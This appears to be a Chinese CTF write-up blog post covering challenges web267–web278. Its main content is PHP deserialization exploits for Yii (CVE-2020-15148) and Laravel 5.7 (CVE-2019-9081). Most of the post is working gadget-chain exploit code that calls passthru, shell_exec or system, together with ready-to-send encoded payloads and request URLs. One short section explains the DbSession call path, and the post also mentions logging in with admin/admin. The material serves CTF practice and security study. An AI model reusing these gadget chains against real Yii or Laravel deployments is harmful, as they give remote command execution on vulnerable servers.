PHP 反序列化时类名不区分大小写

web267

考点:yii反序列化
解决:
弱口令登录,发现登录成功,账密 admin/admin
利用CVE-2020-15148来获得flag

<?php
namespace yii\rest{
    class IndexAction{
        public $checkAccess;
        public $id;
        public function __construct(){
            $this->checkAccess = 'passthru';
            $this->id = 'cat /flag';
        }
    }
}
namespace Faker {
    use yii\rest\IndexAction;
    class Generator{
        protected $formatters;
        public function __construct(){
            $this->formatters['close'] = [new IndexAction(), 'run'];
        }
    }
}
namespace yii\db{
    use Faker\Generator;
    class BatchQueryResult{
        private $_dataReader;
        public function __construct(){
            $this->_dataReader=new Generator();
        }
    }
}
namespace{
    use yii\db\BatchQueryResult;
    echo base64_encode(serialize(new BatchQueryResult()));
}
/index.php?view-source&r=backdoor/shell
&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czo4OiJwYXNzdGhydSI7czoyOiJpZCI7czo5OiJjYXQgL2ZsYWciO31pOjE7czozOiJydW4iO319fX0=

web268

<?php
namespace yii\rest {
    class IndexAction{
	    public $checkAccess;
	    public $id;
        public function __construct(){
            $this->checkAccess = 'shell_exec';
            $this->id = 'cp /f* my3n.txt';
        }
    }
}
namespace yii\web {
	use \yii\rest\IndexAction;
    class DbSession{
        public function __construct(){
            $this->writeCallback = [new IndexAction(), "run"];
        }
    }
}
namespace yii\db {
    use \yii\web\DbSession;
    class BatchQueryResult{
        private $_dataReader;
        public function __construct(){
            $this->_dataReader = new DbSession();
        }
    }
}
namespace {
    use \yii\db\BatchQueryResult;
    $exp = new BatchQueryResult();
    echo(base64_encode(serialize($exp)));
}
/index.php?view-source&r=backdoor/shell
&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNzoieWlpXHdlYlxEYlNlc3Npb24iOjE6e3M6MTM6IndyaXRlQ2FsbGJhY2siO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czoxMDoic2hlbGxfZXhlYyI7czoyOiJpZCI7czoxNToiY3AgL2YqIG15M24udHh0Ijt9aToxO3M6MzoicnVuIjt9fX0

解释:

class DbSession extends MultiFieldSession{
    public function writeSession($id, $data){
        try {
            if ($this->writeCallback && !$this->fields) {
                $this->fields = $this->composeFields();
            }

跟进$this->composeFields()

abstract class MultiFieldSession extends Session{
    protected function composeFields($id = null, $data = null)
    {
        $fields = $this->writeCallback ? call_user_func($this->writeCallback, $this) : [];
        if ($id !== null) {
            $fields['id'] = $id;
        }
        if ($data !== null) {
            $fields['data'] = $data;
        }
        return $fields;
    }

执行了call_user_func无参调用对象方法

call_user_func([new IndexAction(), "run"],$this);

执行 IndexAction 的 run 方法,$this被设置为了参数,但是被忽略了

web269

同上

web270

同上

web271

<?php
define('LARAVEL_START', microtime(true));
require __DIR__ . '/../vendor/autoload.php';
$app = require_once __DIR__ . '/../bootstrap/app.php';
$kernel = $app->make(Illuminate\Contracts\Http\Kernel::class);
$response = $kernel->handle(
    $request = Illuminate\Http\Request::capture()
);
@unserialize($_POST['data']);
highlight_file(__FILE__);
$kernel->terminate($request, $response);

考点:Laravel5.7反序列化漏洞
CVE-2019-9081

<?php
namespace Illuminate\Foundation\Testing{
    class PendingCommand
    {
        protected $app;
        protected $command;
        protected $parameters;
        public $test;
        public function __construct($test,$app){
            $this->command="system";
            $this->parameters[]="cat<>/flag";
            $this->test=$test;
            $this->app = $app;
        }
    }
}
namespace Faker{
    class DefaultGenerator{
        protected $default;
        public function __construct($default)
        {
            $this->default =$default;
        }
    }
}
namespace Illuminate\Foundation{
    class Application{
        protected $instances = [];
        public function __construct($instances = [])
        {
            $this->instances['Illuminate\Contracts\Console\Kernel'] = $instances;
        }
    }
}

namespace {
    use Illuminate\Foundation\Testing\PendingCommand;
    use Faker\DefaultGenerator;
    use Illuminate\Foundation\Application;
    $default = new DefaultGenerator(array('kb'=>'aaa'));
    $app = new Application();
    $application = new Application($app);
    $pend = new PendingCommand($default,$application);
    echo urlencode(serialize($pend));
}

POST:

data=O%3A44%3A%22Illuminate%5CFoundation%5CTesting%5CPendingCommand%22%3A4%3A%7Bs%3A6%3A%22%00%2A%00app%22%3BO%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3A1%3A%7Bs%3A12%3A%22%00%2A%00instances%22%3Ba%3A1%3A%7Bs%3A35%3A%22Illuminate%5CContracts%5CConsole%5CKernel%22%3BO%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3A1%3A%7Bs%3A12%3A%22%00%2A%00instances%22%3Ba%3A1%3A%7Bs%3A35%3A%22Illuminate%5CContracts%5CConsole%5CKernel%22%3Ba%3A0%3A%7B%7D%7D%7D%7D%7Ds%3A10%3A%22%00%2A%00command%22%3Bs%3A6%3A%22system%22%3Bs%3A13%3A%22%00%2A%00parameters%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22cat%3C%3E%2Fflag%22%3B%7Ds%3A4%3A%22test%22%3BO%3A22%3A%22Faker%5CDefaultGenerator%22%3A1%3A%7Bs%3A10%3A%22%00%2A%00default%22%3Ba%3A1%3A%7Bs%3A2%3A%22kb%22%3Bs%3A3%3A%22aaa%22%3B%7D%7D%7D

web272?

<?php
namespace Faker{
    class Generator{
        protected $formatters;
        public function __construct()
        {
            $this -> formatters = ['dispatch' => 'system'];
        }
    }
}
namespace Illuminate\Broadcasting{
    use Faker\Generator;
    class PendingBroadcast{
        protected $events;
        protected $event;
        public function __construct()
        {
            $this -> events = new Generator();
            $this -> event = 'nl /flag';
        }
    }
    $a = new PendingBroadcast();
    $res = serialize($a);
    echo base64_encode($res);
}

web273

同上

web274


web275


web276


web277


web278


posted @ 2026-06-12 20:32  Cava1i  阅读(24)  评论(0)    收藏  举报